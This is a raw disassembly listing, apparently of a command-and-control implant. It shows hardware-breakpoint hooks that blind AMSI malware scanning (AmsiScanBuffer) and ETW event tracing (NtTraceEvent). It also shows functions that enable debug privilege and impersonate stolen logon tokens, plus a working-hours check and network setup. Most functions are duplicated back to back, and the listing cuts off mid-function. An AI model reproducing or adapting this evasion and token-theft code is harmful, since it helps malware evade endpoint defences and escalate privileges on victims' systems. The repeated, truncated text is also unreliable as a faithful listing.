140015892mov rax, [rax+96]
140015896mov rcx, [rax+48]
14001589acall [r13+316]
1400158a1mov r8l, r14l
1400158a4mov rdx, rdi
1400158a7mov ecx, ebp
1400158a9mov [rax], ebp
1400158abmov rbx, rax
1400158aemov r9l, 1
1400158b4mov [rax+8], rdi
1400158b8mov [rax+16], r12
1400158bcmov [rax+24], r15b
1400158c0mov rax, [rsi+16]
1400158c4mov [rbx+32], rax
1400158c8call HwBpEngineSetBp
1400158cdtest eax, eax
1400158cfjns 0x140015913
1400158d1lea r9, [rip+0x1277d]
1400158d8mov r8l, 189
1400158delea rdx, [rip+0x16f0b]
1400158e5lea rcx, [rip+0x12792]
1400158eccall printf
1400158f1mov rax, [r13+2230]
1400158f8mov r8, rbx
1400158fbxor edx, edx
1400158fdmov rax, [rax+96]
140015901mov rcx, [rax+48]
140015905call [r13+332]
14001590cmov eax, 0xffffffffc0000001
140015911jmp 0x140015946
140015913
140015913loc_140015913:
140015913mov [rsp+40], r14l
140015918mov r9l, ebp
14001591bmov r8l, 192
140015921lea rdx, [rip+0x16ec8]
140015928mov [rsp+32], rdi
14001592dlea rcx, [rip+0x1275e]
140015934call printf
140015939mov [rsi+16], rbx
14001593dxor eax, eax
14001593fjmp 0x140015946
140015941
140015941loc_140015941:
140015941mov eax, 0xffffffffc000000d
140015946
140015946loc_140015946:
140015946add rsp, 72
14001594apop rbx
14001594bpop rsi
14001594cpop rdi
14001594dpop rbp
14001594epop r12
140015950pop r13
140015952pop r14
140015954pop r15
140015956ret
1400157f0
1400157f0HwBpEngineAdd:
1400157f0push r15
1400157f2push r14
1400157f4push r13
1400157f6push r12
1400157f8mov r12, r9
1400157fbpush rbp
1400157fcmov ebp, edx
1400157fepush rdi
1400157ffmov rdi, r8
140015802push rsi
140015803mov rsi, rcx
140015806push rbx
140015807sub rsp, 72
14001580bmov r15l, [rsp+176]
140015813mov [rsp+48], r9
140015818mov r9, rcx
14001581blea rcx, [rip+0x127e4]
140015822mov [rsp+40], r8
140015827mov r8l, 162
14001582dmovzx r14l, r15b
140015831mov [rsp+32], edx
140015835lea rdx, [rip+0x16fb4]
14001583cmov [rsp+56], r14l
140015841call printf
140015846test rsi, rsi
140015849jne 0x140015867
14001584bmov rax, [rip+0x16b1e]
140015852mov rsi, [rax+2342]
140015859mov eax, 0xffffffffc000000d
14001585etest rsi, rsi
140015861je 0x140015946
140015867
140015867loc_140015867:
140015867test rdi, rdi
14001586aje 0x140015941
140015870test r12, r12
140015873je 0x140015941
140015879mov r13, [rip+0x16af0]
140015880mov r8l, 40
140015886mov edx, 8
14001588bmov rax, [r13+2230]
140015892mov rax, [rax+96]
140015896mov rcx, [rax+48]
14001589acall [r13+316]
1400158a1mov r8l, r14l
1400158a4mov rdx, rdi
1400158a7mov ecx, ebp
1400158a9mov [rax], ebp
1400158abmov rbx, rax
1400158aemov r9l, 1
1400158b4mov [rax+8], rdi
1400158b8mov [rax+16], r12
1400158bcmov [rax+24], r15b
1400158c0mov rax, [rsi+16]
1400158c4mov [rbx+32], rax
1400158c8call HwBpEngineSetBp
1400158cdtest eax, eax
1400158cfjns 0x140015913
1400158d1lea r9, [rip+0x1277d]
1400158d8mov r8l, 189
1400158delea rdx, [rip+0x16f0b]
1400158e5lea rcx, [rip+0x12792]
1400158eccall printf
1400158f1mov rax, [r13+2230]
1400158f8mov r8, rbx
1400158fbxor edx, edx
1400158fdmov rax, [rax+96]
140015901mov rcx, [rax+48]
140015905call [r13+332]
14001590cmov eax, 0xffffffffc0000001
140015911jmp 0x140015946
140015913
140015913loc_140015913:
140015913mov [rsp+40], r14l
140015918mov r9l, ebp
14001591bmov r8l, 192
140015921lea rdx, [rip+0x16ec8]
140015928mov [rsp+32], rdi
14001592dlea rcx, [rip+0x1275e]
140015934call printf
140015939mov [rsi+16], rbx
14001593dxor eax, eax
14001593fjmp 0x140015946
140015941
140015941loc_140015941:
140015941mov eax, 0xffffffffc000000d
140015946
140015946loc_140015946:
140015946add rsp, 72
14001594apop rbx
14001594bpop rsi
14001594cpop rdi
14001594dpop rbp
14001594epop r12
140015950pop r13
140015952pop r14
140015954pop r15
140015956ret
1400157f0
140015957
140015957 // align 0x10
140015957 // align 0x10
140015960
140015960HwBpEngineDestroy:
140015960push r14
140015962push r13
140015964push r12
140015966push rbp
140015967push rdi
140015968push rsi
140015969push rbx
14001596amov rbx, rcx
14001596dsub rsp, 32
140015971test rcx, rcx
140015974mov rsi, [rip+0x169f5]
14001597bjne 0x140015992
14001597dmov rbx, [rsi+2342]
140015984mov eax, 0xffffffffc000000d
140015989test rbx, rbx
14001598cje 0x140015a24
140015992
140015992loc_140015992:
140015992mov rcx, [rbx]
140015995xor r12l, r12l
140015998mov r14l, 40
14001599ecall [rsi+436]
1400159a4mov rbp, [rbx+16]
1400159a8
1400159a8loc_1400159a8:
1400159a8test rbp, rbp
1400159abje 0x1400159f2
1400159admov ecx, [rbp]
1400159b0mov rdx, [rbp+8]
1400159b4mov r9l, 1
1400159bamov rdi, rbp
1400159bdmovzx r8l, [rbp+24]
1400159c2mov r13, [rbp+32]
1400159c6call HwBpEngineSetBp
1400159cbmov rcx, r14
1400159cemov eax, r12l
1400159d1rep stosb [rdi], al
1400159d3mov rax, [rsi+2230]
1400159damov r8, rbp
1400159ddxor edx, edx
1400159dfmov rbp, r13
1400159e2mov rax, [rax+96]
1400159e6mov rcx, [rax+48]
1400159eacall [rsi+332]
1400159f0jmp 0x1400159a8
1400159f2
1400159f2loc_1400159f2:
1400159f2cmp [rsi+2342], rbx
1400159f9je 0x1400159ff
1400159fb
1400159fbloc_1400159fb:
1400159fbxor eax, eax
1400159fdjmp 0x140015a24
1400159ff
1400159ffloc_1400159ff:
1400159ffmov rax, [rsi+2230]
140015a06mov r8, rbx
140015a09xor edx, edx
140015a0bmov rax, [rax+96]
140015a0fmov rcx, [rax+48]
140015a13call [rsi+332]
140015a19xor eax, eax
140015a1bmov [rsi+2342], rax
140015a22jmp 0x1400159fb
140015a24
140015a24loc_140015a24:
140015a24add rsp, 32
140015a28pop rbx
140015a29pop rsi
140015a2apop rdi
140015a2bpop rbp
140015a2cpop r12
140015a2epop r13
140015a30pop r14
140015a32ret
140015960
140015960HwBpEngineDestroy:
140015960push r14
140015962push r13
140015964push r12
140015966push rbp
140015967push rdi
140015968push rsi
140015969push rbx
14001596amov rbx, rcx
14001596dsub rsp, 32
140015971test rcx, rcx
140015974mov rsi, [rip+0x169f5]
14001597bjne 0x140015992
14001597dmov rbx, [rsi+2342]
140015984mov eax, 0xffffffffc000000d
140015989test rbx, rbx
14001598cje 0x140015a24
140015992
140015992loc_140015992:
140015992mov rcx, [rbx]
140015995xor r12l, r12l
140015998mov r14l, 40
14001599ecall [rsi+436]
1400159a4mov rbp, [rbx+16]
1400159a8
1400159a8loc_1400159a8:
1400159a8test rbp, rbp
1400159abje 0x1400159f2
1400159admov ecx, [rbp]
1400159b0mov rdx, [rbp+8]
1400159b4mov r9l, 1
1400159bamov rdi, rbp
1400159bdmovzx r8l, [rbp+24]
1400159c2mov r13, [rbp+32]
1400159c6call HwBpEngineSetBp
1400159cbmov rcx, r14
1400159cemov eax, r12l
1400159d1rep stosb [rdi], al
1400159d3mov rax, [rsi+2230]
1400159damov r8, rbp
1400159ddxor edx, edx
1400159dfmov rbp, r13
1400159e2mov rax, [rax+96]
1400159e6mov rcx, [rax+48]
1400159eacall [rsi+332]
1400159f0jmp 0x1400159a8
1400159f2
1400159f2loc_1400159f2:
1400159f2cmp [rsi+2342], rbx
1400159f9je 0x1400159ff
1400159fb
1400159fbloc_1400159fb:
1400159fbxor eax, eax
1400159fdjmp 0x140015a24
1400159ff
1400159ffloc_1400159ff:
1400159ffmov rax, [rsi+2230]
140015a06mov r8, rbx
140015a09xor edx, edx
140015a0bmov rax, [rax+96]
140015a0fmov rcx, [rax+48]
140015a13call [rsi+332]
140015a19xor eax, eax
140015a1bmov [rsi+2342], rax
140015a22jmp 0x1400159fb
140015a24
140015a24loc_140015a24:
140015a24add rsp, 32
140015a28pop rbx
140015a29pop rsi
140015a2apop rdi
140015a2bpop rbp
140015a2cpop r12
140015a2epop r13
140015a30pop r14
140015a32ret
140015960
140015a33
140015a33 // align 0x10
140015a33 // align 0x10
140015a40
140015a40HwBpEngineInit:
140015a40push rsi
140015a41mov rax, rcx
140015a44push rbx
140015a45sub rsp, 40
140015a49or rax, rdx
140015a4cmov rsi, [rip+0x1691d]
140015a53jne 0x140015a66
140015a55cmp [rsi+2342], 0
140015a5dmov edx, 0xffffffffc000000d
140015a62je 0x140015a6e
140015a64jmp 0x140015abd
140015a66
140015a66loc_140015a66:
140015a66mov rbx, rcx
140015a69test rcx, rcx
140015a6cjne 0x140015a9f
140015a6e
140015a6eloc_140015a6e:
140015a6emov rax, [rsi+2230]
140015a75mov edx, 8
140015a7amov r8l, 24
140015a80mov rax, [rax+96]
140015a84mov rcx, [rax+48]
140015a88call [rsi+316]
140015a8elea rdx, [rip-10853]
140015a95mov [rsi+2342], rax
140015a9cmov rbx, rax
140015a9f
140015a9floc_140015a9f:
140015a9fmov ecx, 1
140015aa4call [rsi+428]
140015aaamov edx, 0xffffffffc0000001
140015aafmov [rbx], rax
140015ab2test rax, rax
140015ab5je 0x140015abd
140015ab7mov [rbx+8], 1
140015abbxor edx, edx
140015abd
140015abdloc_140015abd:
140015abdadd rsp, 40
140015ac1mov eax, edx
140015ac3pop rbx
140015ac4pop rsi
140015ac5ret
140015a40
140015a40HwBpEngineInit:
140015a40push rsi
140015a41mov rax, rcx
140015a44push rbx
140015a45sub rsp, 40
140015a49or rax, rdx
140015a4cmov rsi, [rip+0x1691d]
140015a53jne 0x140015a66
140015a55cmp [rsi+2342], 0
140015a5dmov edx, 0xffffffffc000000d
140015a62je 0x140015a6e
140015a64jmp 0x140015abd
140015a66
140015a66loc_140015a66:
140015a66mov rbx, rcx
140015a69test rcx, rcx
140015a6cjne 0x140015a9f
140015a6e
140015a6eloc_140015a6e:
140015a6emov rax, [rsi+2230]
140015a75mov edx, 8
140015a7amov r8l, 24
140015a80mov rax, [rax+96]
140015a84mov rcx, [rax+48]
140015a88call [rsi+316]
140015a8elea rdx, [rip-10853]
140015a95mov [rsi+2342], rax
140015a9cmov rbx, rax
140015a9f
140015a9floc_140015a9f:
140015a9fmov ecx, 1
140015aa4call [rsi+428]
140015aaamov edx, 0xffffffffc0000001
140015aafmov [rbx], rax
140015ab2test rax, rax
140015ab5je 0x140015abd
140015ab7mov [rbx+8], 1
140015abbxor edx, edx
140015abd
140015abdloc_140015abd:
140015abdadd rsp, 40
140015ac1mov eax, edx
140015ac3pop rbx
140015ac4pop rsi
140015ac5ret
140015a40
140015ac6
140015ac6 // align 0x10
140015ac6 // align 0x10
140015ad0
140015ad0HwBpEngineSetBp:
140015ad0push rbp
140015ad1xor eax, eax
140015ad3mov r10l, ecx
140015ad6mov ecx, 308
140015adbmov rbp, rsp
140015adepush r13
140015ae0mov r13l, r9l
140015ae3push r12
140015ae5mov r12, rdx
140015ae8xor edx, edx
140015aeapush rdi
140015aebpush rsi
140015aecpush rbx
140015aedmov ebx, r8l
140015af0and rsp, -16
140015af4sub rsp, 1376
140015afbmov [rsp+72], rdx
140015b00lea r9, [rsp+80]
140015b05lea r8, [rsp+96]
140015b0amov edx, 0x1fffff
140015b0flea rdi, [rsp+144]
140015b17mov [rsp+96], 48
140015b1frep stosd [rdi], eax
140015b21lea rdi, [rsp+100]
140015b26mov ecx, 11
140015b2brep stosd [rdi], eax
140015b2dmov rax, [rip+0x1683c]
140015b34lea rcx, [rsp+72]
140015b39mov eax, [rax+76]
140015b3cmov [rsp+80], rax
140015b41mov eax, r10l
140015b44mov [rsp+88], rax
140015b49call SysNtOpenThread
140015b4etest eax, eax
140015b50js 0x140015c72
140015b56mov rcx, [rsp+72]
140015b5blea rdi, [rsp+144]
140015b63mov [rsp+192], 0x100010
140015b6emov rdx, rdi
140015b71call SysNtGetContextThread
140015b76mov esi, eax
140015b78test eax, eax
140015b7ajs 0x140015c74
140015b80movzx eax, bl
140015b83lea rsi, [rsp+8*rax+216]
140015b8btest r13b, r13b
140015b8eje 0x140015bd4
140015b90movzx ebx, bl
140015b93mov edx, 3
140015b98mov [rsi], r12
140015b9blea r8l, [4*rbx+16]
140015ba3mov rax, rdx
140015ba6add ebx, ebx
140015ba8lea ecx, [r8+2]
140015bacshl rax, cl
140015bafmov ecx, r8l
140015bb2shl rdx, cl
140015bb5or rax, rdx
140015bb8not rax
140015bbband rax, [rsp+256]
140015bc3bts rax, rbx
140015bc7mov [rsp+256], rax
140015bcfjmp 0x140015c5d
140015bd4
140015bd4loc_140015bd4:
140015bd4cmp r12, [rsi]
140015bd7jne 0x140015c5d
140015bddmov [rsp+32], r12
140015be2movzx r9l, bl
140015be6mov rax, [rsp+256]
140015beelea r12, [rip+0x1709b]
140015bf5lea rbx, [rip+0x12344]
140015bfcmov r8l, 105
140015c02mov rdx, r12
140015c05mov [rsp+60], r9l
140015c0amov [rsp+40], rax
140015c0fmov rcx, rbx
140015c12call printf
140015c17mov r9l, [rsp+60]
140015c1cxor eax, eax
140015c1emov rdx, r12
140015c21mov [rsi], rax
140015c24mov rax, -2
140015c2bmov r8l, 116
140015c31lea ecx, [r9+r9]
140015c35rol rax, cl
140015c38and rax, [rsp+256]
140015c40mov rcx, rbx
140015c43mov [rsp+256], rax
140015c4bmov [rsp+40], rax
140015c50mov rax, [rsi]
140015c53mov [rsp+32], rax
140015c58call printf
140015c5d
140015c5dloc_140015c5d:
140015c5dmov rcx, [rsp+72]
140015c62mov rdx, rdi
140015c65call SysNtSetContextThread
140015c6amov esi, eax
140015c6ctest eax, eax
140015c6ejns 0x140015c83
140015c70jmp 0x140015c74
140015c72
140015c72loc_140015c72:
140015c72xor esi, esi
140015c74
140015c74loc_140015c74:
140015c74mov rcx, [rsp+72]
140015c79test rcx, rcx
140015c7cje 0x140015c83
140015c7ecall SysNtClose
140015c83
140015c83loc_140015c83:
140015c83lea rsp, [rbp-40]
140015c87mov eax, esi
140015c89pop rbx
140015c8apop rsi
140015c8bpop rdi
140015c8cpop r12
140015c8epop r13
140015c90pop rbp
140015c91ret
140015ad0
140015ad0HwBpEngineSetBp:
140015ad0push rbp
140015ad1xor eax, eax
140015ad3mov r10l, ecx
140015ad6mov ecx, 308
140015adbmov rbp, rsp
140015adepush r13
140015ae0mov r13l, r9l
140015ae3push r12
140015ae5mov r12, rdx
140015ae8xor edx, edx
140015aeapush rdi
140015aebpush rsi
140015aecpush rbx
140015aedmov ebx, r8l
140015af0and rsp, -16
140015af4sub rsp, 1376
140015afbmov [rsp+72], rdx
140015b00lea r9, [rsp+80]
140015b05lea r8, [rsp+96]
140015b0amov edx, 0x1fffff
140015b0flea rdi, [rsp+144]
140015b17mov [rsp+96], 48
140015b1frep stosd [rdi], eax
140015b21lea rdi, [rsp+100]
140015b26mov ecx, 11
140015b2brep stosd [rdi], eax
140015b2dmov rax, [rip+0x1683c]
140015b34lea rcx, [rsp+72]
140015b39mov eax, [rax+76]
140015b3cmov [rsp+80], rax
140015b41mov eax, r10l
140015b44mov [rsp+88], rax
140015b49call SysNtOpenThread
140015b4etest eax, eax
140015b50js 0x140015c72
140015b56mov rcx, [rsp+72]
140015b5blea rdi, [rsp+144]
140015b63mov [rsp+192], 0x100010
140015b6emov rdx, rdi
140015b71call SysNtGetContextThread
140015b76mov esi, eax
140015b78test eax, eax
140015b7ajs 0x140015c74
140015b80movzx eax, bl
140015b83lea rsi, [rsp+8*rax+216]
140015b8btest r13b, r13b
140015b8eje 0x140015bd4
140015b90movzx ebx, bl
140015b93mov edx, 3
140015b98mov [rsi], r12
140015b9blea r8l, [4*rbx+16]
140015ba3mov rax, rdx
140015ba6add ebx, ebx
140015ba8lea ecx, [r8+2]
140015bacshl rax, cl
140015bafmov ecx, r8l
140015bb2shl rdx, cl
140015bb5or rax, rdx
140015bb8not rax
140015bbband rax, [rsp+256]
140015bc3bts rax, rbx
140015bc7mov [rsp+256], rax
140015bcfjmp 0x140015c5d
140015bd4
140015bd4loc_140015bd4:
140015bd4cmp r12, [rsi]
140015bd7jne 0x140015c5d
140015bddmov [rsp+32], r12
140015be2movzx r9l, bl
140015be6mov rax, [rsp+256]
140015beelea r12, [rip+0x1709b]
140015bf5lea rbx, [rip+0x12344]
140015bfcmov r8l, 105
140015c02mov rdx, r12
140015c05mov [rsp+60], r9l
140015c0amov [rsp+40], rax
140015c0fmov rcx, rbx
140015c12call printf
140015c17mov r9l, [rsp+60]
140015c1cxor eax, eax
140015c1emov rdx, r12
140015c21mov [rsi], rax
140015c24mov rax, -2
140015c2bmov r8l, 116
140015c31lea ecx, [r9+r9]
140015c35rol rax, cl
140015c38and rax, [rsp+256]
140015c40mov rcx, rbx
140015c43mov [rsp+256], rax
140015c4bmov [rsp+40], rax
140015c50mov rax, [rsi]
140015c53mov [rsp+32], rax
140015c58call printf
140015c5d
140015c5dloc_140015c5d:
140015c5dmov rcx, [rsp+72]
140015c62mov rdx, rdi
140015c65call SysNtSetContextThread
140015c6amov esi, eax
140015c6ctest eax, eax
140015c6ejns 0x140015c83
140015c70jmp 0x140015c74
140015c72
140015c72loc_140015c72:
140015c72xor esi, esi
140015c74
140015c74loc_140015c74:
140015c74mov rcx, [rsp+72]
140015c79test rcx, rcx
140015c7cje 0x140015c83
140015c7ecall SysNtClose
140015c83
140015c83loc_140015c83:
140015c83lea rsp, [rbp-40]
140015c87mov eax, esi
140015c89pop rbx
140015c8apop rsi
140015c8bpop rdi
140015c8cpop r12
140015c8epop r13
140015c90pop rbp
140015c91ret
140015ad0
140015c92
140015c92 // align 0x10
140015c92 // align 0x10
140015ca0
140015ca0HwBpExAmsiScanBuffer:
140015ca0mov rax, [rcx+8]
140015ca4xor edx, edx
140015ca6mov rax, [rax+152]
140015cadmov [rax+40], rdx
140015cb1mov rax, [rcx+8]
140015cb5mov edx, 0xffffffff80070057
140015cbamov [rax+120], rdx
140015cbemov rdx, [rax+152]
140015cc5mov rcx, [rdx]
140015cc8add rdx, 8
140015cccmov [rax+152], rdx
140015cd3mov [rax+248], rcx
140015cdaret
140015ca0
140015ca0HwBpExAmsiScanBuffer:
140015ca0mov rax, [rcx+8]
140015ca4xor edx, edx
140015ca6mov rax, [rax+152]
140015cadmov [rax+40], rdx
140015cb1mov rax, [rcx+8]
140015cb5mov edx, 0xffffffff80070057
140015cbamov [rax+120], rdx
140015cbemov rdx, [rax+152]
140015cc5mov rcx, [rdx]
140015cc8add rdx, 8
140015cccmov [rax+152], rdx
140015cd3mov [rax+248], rcx
140015cdaret
140015ca0
140015cdb
140015cdb // align 0x10
140015cdb // align 0x10
140015ce0
140015ce0HwBpExNtTraceEvent:
140015ce0mov rdx, [rcx+8]
140015ce4mov rax, [rdx+152]
140015cebmov rcx, [rax]
140015ceeadd rax, 8
140015cf2mov [rdx+152], rax
140015cf9mov [rdx+248], rcx
140015d00ret
140015ce0
140015ce0HwBpExNtTraceEvent:
140015ce0mov rdx, [rcx+8]
140015ce4mov rax, [rdx+152]
140015cebmov rcx, [rax]
140015ceeadd rax, 8
140015cf2mov [rdx+152], rax
140015cf9mov [rdx+248], rcx
140015d00ret
140015ce0
140015d01
140015d01 // align 0x10
140015d01 // align 0x10
140015d10
140015d10ImpersonateTokenFromVault:
140015d10sub rsp, 40
140015d14call TokenGet
140015d19test rax, rax
140015d1cjne 0x140015d51
140015d1elea r9, [rip+0x140f3]
140015d25mov r8l, 1266
140015d2blea rdx, [rip+0x1700e]
140015d32lea rcx, [rip+0x13c8f]
140015d39call printf
140015d3emov edx, 1
140015d43mov ecx, 3
140015d48call PackageTransmitError
140015d4dxor eax, eax
140015d4fjmp 0x140015d61
140015d51
140015d51loc_140015d51:
140015d51mov rcx, rax
140015d54call ImpersonateTokenInStore
140015d59test eax, eax
140015d5bsetne al
140015d5emovzx eax, al
140015d61
140015d61loc_140015d61:
140015d61add rsp, 40
140015d65ret
140015d10
140015d10ImpersonateTokenFromVault:
140015d10sub rsp, 40
140015d14call TokenGet
140015d19test rax, rax
140015d1cjne 0x140015d51
140015d1elea r9, [rip+0x140f3]
140015d25mov r8l, 1266
140015d2blea rdx, [rip+0x1700e]
140015d32lea rcx, [rip+0x13c8f]
140015d39call printf
140015d3emov edx, 1
140015d43mov ecx, 3
140015d48call PackageTransmitError
140015d4dxor eax, eax
140015d4fjmp 0x140015d61
140015d51
140015d51loc_140015d51:
140015d51mov rcx, rax
140015d54call ImpersonateTokenInStore
140015d59test eax, eax
140015d5bsetne al
140015d5emovzx eax, al
140015d61
140015d61loc_140015d61:
140015d61add rsp, 40
140015d65ret
140015d10
140015d66
140015d66 // align 0x10
140015d66 // align 0x10
140015d70
140015d70ImpersonateTokenInStore:
140015d70test rcx, rcx
140015d73je 0x140015e8c
140015d79push rsi
140015d7amov rsi, rcx
140015d7dpush rbx
140015d7esub rsp, 40
140015d82mov rbx, [rip+0x165e7]
140015d89cmp [rbx+2290], 0
140015d90je 0x140015da5
140015d92mov rax, [rbx+2282]
140015d99mov rax, [rax]
140015d9ccmp [rcx], rax
140015d9fje 0x140015e80
140015da5
140015da5loc_140015da5:
140015da5mov ecx, 1
140015daacall TokenSetSeDebugPriv
140015daftest eax, eax
140015db1jne 0x140015dda
140015db3lea r9, [rip+0x13fc5]
140015dbamov r8l, 1377
140015dc0lea rdx, [rip+0x16919]
140015dc7lea rcx, [rip+0x13bfa]
140015dcecall printf
140015dd3
140015dd3loc_140015dd3:
140015dd3xor eax, eax
140015dd5jmp 0x140015e85
140015dda
140015ddaloc_140015dda:
140015ddacall TokenRevSelf
140015ddftest eax, eax
140015de1je 0x140015e67
140015de7mov rcx, [rsi]
140015deacall SysImpersonateLoggedOnUser
140015defmov r9, [rsi+8]
140015df3lea rdx, [rip+0x168e6]
140015dfatest eax, eax
140015dfcje 0x140015e23
140015dfemov r8l, 1390
140015e04lea rcx, [rip+0x13f9e]
140015e0bmov [rbx+2290], 1
140015e15mov [rbx+2282], rsi
140015e1ccall printf
140015e21jmp 0x140015e80
140015e23
140015e23loc_140015e23:
140015e23xor ecx, ecx
140015e25xor eax, eax
140015e27mov r8l, 1395
140015e2dmov [rbx+2282], rcx
140015e34lea rcx, [rip+0x13fa2]
140015e3bmov [rbx+2290], eax
140015e41call printf
140015e46mov rax, [rbx+2230]
140015e4dmov ecx, 1
140015e52mov edx, [rax+104]
140015e55call PackageTransmitError
140015e5acall TokenRevSelf
140015e5ftest eax, eax
140015e61jne 0x140015dd3
140015e67
140015e67loc_140015e67:
140015e67mov rax, [rbx+2230]
140015e6emov ecx, 1
140015e73mov edx, [rax+104]
140015e76call PackageTransmitError
140015e7bjmp 0x140015dd3
140015e80
140015e80loc_140015e80:
140015e80mov eax, 1
140015e85
140015e85loc_140015e85:
140015e85add rsp, 40
140015e89pop rbx
140015e8apop rsi
140015e8bret
140015e8c
140015e8cloc_140015e8c:
140015e8cxor eax, eax
140015e8eret
140015d70
140015d70ImpersonateTokenInStore:
140015d70test rcx, rcx
140015d73je 0x140015e8c
140015d79push rsi
140015d7amov rsi, rcx
140015d7dpush rbx
140015d7esub rsp, 40
140015d82mov rbx, [rip+0x165e7]
140015d89cmp [rbx+2290], 0
140015d90je 0x140015da5
140015d92mov rax, [rbx+2282]
140015d99mov rax, [rax]
140015d9ccmp [rcx], rax
140015d9fje 0x140015e80
140015da5
140015da5loc_140015da5:
140015da5mov ecx, 1
140015daacall TokenSetSeDebugPriv
140015daftest eax, eax
140015db1jne 0x140015dda
140015db3lea r9, [rip+0x13fc5]
140015dbamov r8l, 1377
140015dc0lea rdx, [rip+0x16919]
140015dc7lea rcx, [rip+0x13bfa]
140015dcecall printf
140015dd3
140015dd3loc_140015dd3:
140015dd3xor eax, eax
140015dd5jmp 0x140015e85
140015dda
140015ddaloc_140015dda:
140015ddacall TokenRevSelf
140015ddftest eax, eax
140015de1je 0x140015e67
140015de7mov rcx, [rsi]
140015deacall SysImpersonateLoggedOnUser
140015defmov r9, [rsi+8]
140015df3lea rdx, [rip+0x168e6]
140015dfatest eax, eax
140015dfcje 0x140015e23
140015dfemov r8l, 1390
140015e04lea rcx, [rip+0x13f9e]
140015e0bmov [rbx+2290], 1
140015e15mov [rbx+2282], rsi
140015e1ccall printf
140015e21jmp 0x140015e80
140015e23
140015e23loc_140015e23:
140015e23xor ecx, ecx
140015e25xor eax, eax
140015e27mov r8l, 1395
140015e2dmov [rbx+2282], rcx
140015e34lea rcx, [rip+0x13fa2]
140015e3bmov [rbx+2290], eax
140015e41call printf
140015e46mov rax, [rbx+2230]
140015e4dmov ecx, 1
140015e52mov edx, [rax+104]
140015e55call PackageTransmitError
140015e5acall TokenRevSelf
140015e5ftest eax, eax
140015e61jne 0x140015dd3
140015e67
140015e67loc_140015e67:
140015e67mov rax, [rbx+2230]
140015e6emov ecx, 1
140015e73mov edx, [rax+104]
140015e76call PackageTransmitError
140015e7bjmp 0x140015dd3
140015e80
140015e80loc_140015e80:
140015e80mov eax, 1
140015e85
140015e85loc_140015e85:
140015e85add rsp, 40
140015e89pop rbx
140015e8apop rsi
140015e8bret
140015e8c
140015e8cloc_140015e8c:
140015e8cxor eax, eax
140015e8eret
140015d70
140015e8f
140015e8f // align 0x10
140015e8f // align 0x10
140015e90
140015e90InWorkingHours:
140015e90push rdi
140015e91xor eax, eax
140015e93push rsi
140015e94push rbx
140015e95sub rsp, 48
140015e99mov [rsp+32], rax
140015e9emov [rsp+40], rax
140015ea3mov rax, [rip+0x164c6]
140015eaamov ebx, [rax+132]
140015eb0bt rbx, 22
140015eb4jb 0x140015ebd
140015eb6
140015eb6loc_140015eb6:
140015eb6mov eax, 1
140015ebbjmp 0x140015f0f
140015ebd
140015ebdloc_140015ebd:
140015ebdmov esi, ebx
140015ebfmov edi, ebx
140015ec1lea rcx, [rsp+32]
140015ec6call [rax+1140]
140015eccshr esi, 6
140015ecfmov edx, [rsp+40]
140015ed3shr edi, 17
140015ed6and esi, 31
140015ed9and edi, 31
140015edccmp si, dx
140015edfjb 0x140015f0d
140015ee1cmp dx, di
140015ee4jb 0x140015f0d
140015ee6jne 0x140015ef9
140015ee8mov ecx, ebx
140015eeaxor eax, eax
140015eecshr ecx, 11
140015eefand ecx, 63
140015ef2cmp [rsp+42], cx
140015ef7jb 0x140015f0f
140015ef9
140015ef9loc_140015ef9:
140015ef9cmp dx, si
140015efcjne 0x140015eb6
140015efexor eax, eax
140015f00and ebx, 63
140015f03cmp bx, [rsp+42]
140015f08setae al
140015f0bjmp 0x140015f0f
140015f0d
140015f0dloc_140015f0d:
140015f0dxor eax, eax
140015f0f
140015f0floc_140015f0f:
140015f0fadd rsp, 48
140015f13pop rbx
140015f14pop rsi
140015f15pop rdi
140015f16ret
140015e90
140015e90InWorkingHours:
140015e90push rdi
140015e91xor eax, eax
140015e93push rsi
140015e94push rbx
140015e95sub rsp, 48
140015e99mov [rsp+32], rax
140015e9emov [rsp+40], rax
140015ea3mov rax, [rip+0x164c6]
140015eaamov ebx, [rax+132]
140015eb0bt rbx, 22
140015eb4jb 0x140015ebd
140015eb6
140015eb6loc_140015eb6:
140015eb6mov eax, 1
140015ebbjmp 0x140015f0f
140015ebd
140015ebdloc_140015ebd:
140015ebdmov esi, ebx
140015ebfmov edi, ebx
140015ec1lea rcx, [rsp+32]
140015ec6call [rax+1140]
140015eccshr esi, 6
140015ecfmov edx, [rsp+40]
140015ed3shr edi, 17
140015ed6and esi, 31
140015ed9and edi, 31
140015edccmp si, dx
140015edfjb 0x140015f0d
140015ee1cmp dx, di
140015ee4jb 0x140015f0d
140015ee6jne 0x140015ef9
140015ee8mov ecx, ebx
140015eeaxor eax, eax
140015eecshr ecx, 11
140015eefand ecx, 63
140015ef2cmp [rsp+42], cx
140015ef7jb 0x140015f0f
140015ef9
140015ef9loc_140015ef9:
140015ef9cmp dx, si
140015efcjne 0x140015eb6
140015efexor eax, eax
140015f00and ebx, 63
140015f03cmp bx, [rsp+42]
140015f08setae al
140015f0bjmp 0x140015f0f
140015f0d
140015f0dloc_140015f0d:
140015f0dxor eax, eax
140015f0f
140015f0floc_140015f0f:
140015f0fadd rsp, 48
140015f13pop rbx
140015f14pop rsi
140015f15pop rdi
140015f16ret
140015e90
140015f17
140015f17 // align 0x10
140015f17 // align 0x10
140015f20
140015f20InitWSA:
140015f20push rdi
140015f21mov ecx, 102
140015f26xor eax, eax
140015f28push rsi
140015f29push rbx
140015f2asub rsp, 448
140015f31mov rbx, [rip+0x16438]
140015f38lea rdi, [rsp+40]
140015f3drep stosd [rdi], eax
140015f3fmov esi, [rbx+12]
140015f42test esi, esi
140015f44je 0x140015f4d
140015f46
140015f46loc_140015f46:
140015f46mov esi, 1
140015f4bjmp 0x140015fad
140015f4d
140015f4dloc_140015f4d:
140015f4dlea rdi, [rip+0x1737c]
140015f54lea r9, [rip+0x12e05]
140015f5bmov r8l, 41
140015f61mov rdx, rdi
140015f64lea rcx, [rip+0x12de1]
140015f6bcall printf
140015f70lea rdx, [rsp+40]
140015f75mov ecx, 514
140015f7acall [rbx+1844]
140015f80mov r9l, eax
140015f83test eax, eax
140015f85je 0x140015fa4
140015f87mov r8l, 45
140015f8dmov rdx, rdi
140015f90lea rcx, [rip+0x12de0]
140015f97call printf
140015f9ccall [rbx+1852]
140015fa2jmp 0x140015fad
140015fa4
140015fa4loc_140015fa4:
140015fa4mov [rbx+12], 1
140015fabjmp 0x140015f46
140015fad
140015fadloc_140015fad:
140015fadadd rsp, 448
140015fb4mov eax, esi
140015fb6pop rbx
140015fb7pop rsi
140015fb8pop rdi
140015fb9ret
140015f20
140015f20InitWSA:
140015f20push rdi
140015f21mov ecx, 102
